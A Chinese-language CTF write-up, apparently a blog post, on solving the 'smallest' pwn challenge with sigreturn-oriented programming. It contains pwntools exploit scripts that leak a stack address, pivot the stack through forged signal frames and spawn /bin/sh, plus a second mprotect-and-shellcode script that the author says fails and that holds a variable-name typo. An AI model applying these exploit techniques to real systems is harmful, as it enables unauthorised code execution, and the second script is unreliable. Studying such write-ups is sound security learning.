BUU-360chunqiu2017_smallest-WP

Posted on Nov 28, 2020

这篇博客写了两天,我也花了很久来理解srop,现在我可以说我会srop了。

这道题的代码非常短

xor     rax, rax
mov     edx, 400h       ; count
mov     rsi, rsp        ; buf
mov     rdi, rax        ; fd
syscall                 ; LINUX - sys_read
retn

仅此六行。由于有syscall和一个read函数,我们可以通过改变read的字节数来控制rax的值,借此实现任意系统调用。于是我们的思路是先调用sys_write泄露栈地址,然后构造signal frame劫持rsp使栈迁移至一个可读写确定空间(就是我们泄露的地址)。最后再构造一个signal frame指定execve的四个参数并设置系统调用号位execve的调用号,再注入“/bin/sh”,就获得了shell。

exp是这样,我们一段一段来看。

这句,说明read是直接从rsp读的,也就是说偏移为零。由于我在做的时候对栈行为感到了疑惑,这里我贴一下调试信息

这就可以很明显的看出来我们如何然后构造rop链了,我们先让程序再一次从头开始执行,然后输入一个字节,让rax被置为1,由于rdi由rax赋值,所以write的调用条件就成立了,通过下面的构造

start_addr = 0x00000000004000B0                                 
syscall_ret = 0x00000000004000BE                                
start_void_rax_addr = 0x00000000004000B3                        
                                                                
payload = p64(start_addr) + p64(start_void_rax_addr) + p64(start_addr)
sh.send(payload)  
sleep(0.3)                           
                                     
sh.send('\xb3')                      
stack_addr = u64(sh.recv()[0x148:0x148+8]) 
print hex(stack_addr)                                                                      

我们就可以实现泄露栈地址了。这里由两个细节要注意

  1. 输入的那一个字节必须是\xb3,因为读入的时候会直接写到[rsp]处,而这里存的是该函数的返回地址。
  2. stack_addr的赋值,我们知道栈中大概率会存一个可读可写的地址,但是这个位置在不同的机器上面可能是不同的,所以我碰到了在本地能打通而连远程(BUU)打不通的情况(感谢这位师傅)。解决的方法是直接连接服务器,先对write泄露的栈空间分析

这个是可读写的。所以我们这么处理:stack_addr = u64(sh.recv()[0x148:0x148+8]),就可以获得一个可用的栈地址。

接下来我们再设置一次read,并劫持栈指针到stack_addr处实现栈迁移。代码如下

sigframe = SigreturnFrame()                     
sigframe.rax = constants.SYS_read               
sigframe.rdi = 0                                
sigframe.rdx = 0x400                            
sigframe.rsi = stack_addr                       
sigframe.rsp = stack_addr                       
sigframe.rip = syscall_ret                      
                                                
payload = p64(start_addr) + 'sigretaa' + str(sigframe)
sh.send(payload)                                
sleep(0.3)                                            

p64(start_addr) + 'sigretaa'这里加的'sigretaa'是八个字节的垃圾数据,信号机制中,信号处理完,从内核态重新进入用户态的时候会pop一个sigreturn,而我们这里直接调用了这个系统调用,所以需要垃圾数据来去除这个pop的影响。

然后我们输入十五个字节,触发sigreturn

trigger_sigret = p64(syscall_ret) + 'a'*7 
sh.send(trigger_sigret)             
sleep(0.3)                                

执行到这里的时候就正式完成了栈迁移,之后我们只要伪造execve的signal frame并注入'/bin/sh'就可以拿shell了。

sigframe = SigreturnFrame()                                                        
sigframe.rax = constants.SYS_execve                                                
sigframe.rsp = stack_addr                                                          
sigframe.rsi = 0                                                                   
sigframe.rdx = 0                                                                   
sigframe.rdi = stack_addr + 0x150                                                  
sigframe.rip = syscall_ret                                                         
payload = (p64(start_addr) + 'sigretaa' + str(sigframe)).ljust(0x150,'a') + "/bin/sh\x00"
sh.send(payload)                                                                   
sleep(0.3)                                                                         
sh.send(trigger_sigret)                                                            
                                                                                   
sh.interactive()                                                                         

另一种尝试

然后我们再来思考一下,这道题是否有更好的方法。从服务器上面泄露出一个可用的地址并不容易,需要一次一次凑。但是,如果我们获得一个栈的大致位置,然后直接修改他的权限,就可以注入shellcode来拿shell了,这样就不需要试哪个地址是可用的了。所以我们可以考虑利用mprotect系统调用。

也就是说先用mprotect修改权限,此时先不劫持栈指针,然后用read劫持栈指针并注入shellcode,但是实际上仍然是难以实现的,我们在伪造mprotect的signal frame的时候,必然要指定一个stack address,我们手上有的仍然只是一个泄露的stack_addr,在mprotect执行结束后会ret,而ret时的rsp就是我们指定的rsp,这里仍然是需要我们凑的,所以我个人认为shellcode注入的意义不是很大。

from pwn import *                                                   
context(log_level = 'debug',arch = 'amd64',os = 'linux')            
                                                                    
sh = process("./smallest")                                          
#sh = remote("node3.buuoj.cn","28646")                              
                                                                    
start_addr = 0x00000000004000B0                                     
syscall_ret = 0x00000000004000BE                                    
start_void_rax_addr = 0x00000000004000B3                            
                                                                    
payload = p64(start_addr) + p64(start_void_rax_addr) + p64(start_addr)  
sh.send(payload)                                                    
sleep(0.3)                                                          
                                                                    
sh.send('\xb3')                                                     
stack_addr = u64(sh.recv()[8:16])                                   
print hex(stack_addr)                                               
                                                                    
sigframe = SigreturnFrame()                                         
sigframe.rax = constants.SYS_read                                   
sigframe.rdi = 0                                                    
sigframe.rdx = 0x400                                                
sigframe.rsi = stack_addr                                           
sigframe.rsp = stack_addr                                           
sigframe.rip = syscall_ret                                          
                                                                    
paylaod = p64(start_addr) + 'sigretaa' + str(sigframe)              
sh.send(payload)                                                    
sleep(0.3)                                                          
                                                                    
trigger_sigret = p64(syscall_ret) + 'a'*7                           
sh.send(trigger_sigret)                                             
sleep(0.3)                                                          
                                                                    
sigframe = SigreturnFrame()                                         
sigframe.rax = constants.SYS_mprotect                               
sigframe.rdi = (stack_addr & 0xfffffffffffff000)                    
sigframe.rsi = 0x1000                                               
sigframe.rdx = 0x7                                                  
sigframe.rip = syscall_ret                                          
sigframe.rsp = stack_addr + 0x108                                   
                                                                    
payload = (p64(start_addr) + 'sigretaa' + str(sigframe)).ljust(0x108,'a') 
payload += p64(stack_addr + 0x108 + 8)                              
payload += asm(shellcraft.sh())                                     
print payload                                                       
sh.send(payload)                                                    
sleep(0.3)        
                  
sh.send(trigger_sigret) 
                  
sh.interactive()        

这个exp在我的本机上会出现错误,实在是看不出来有什么问题。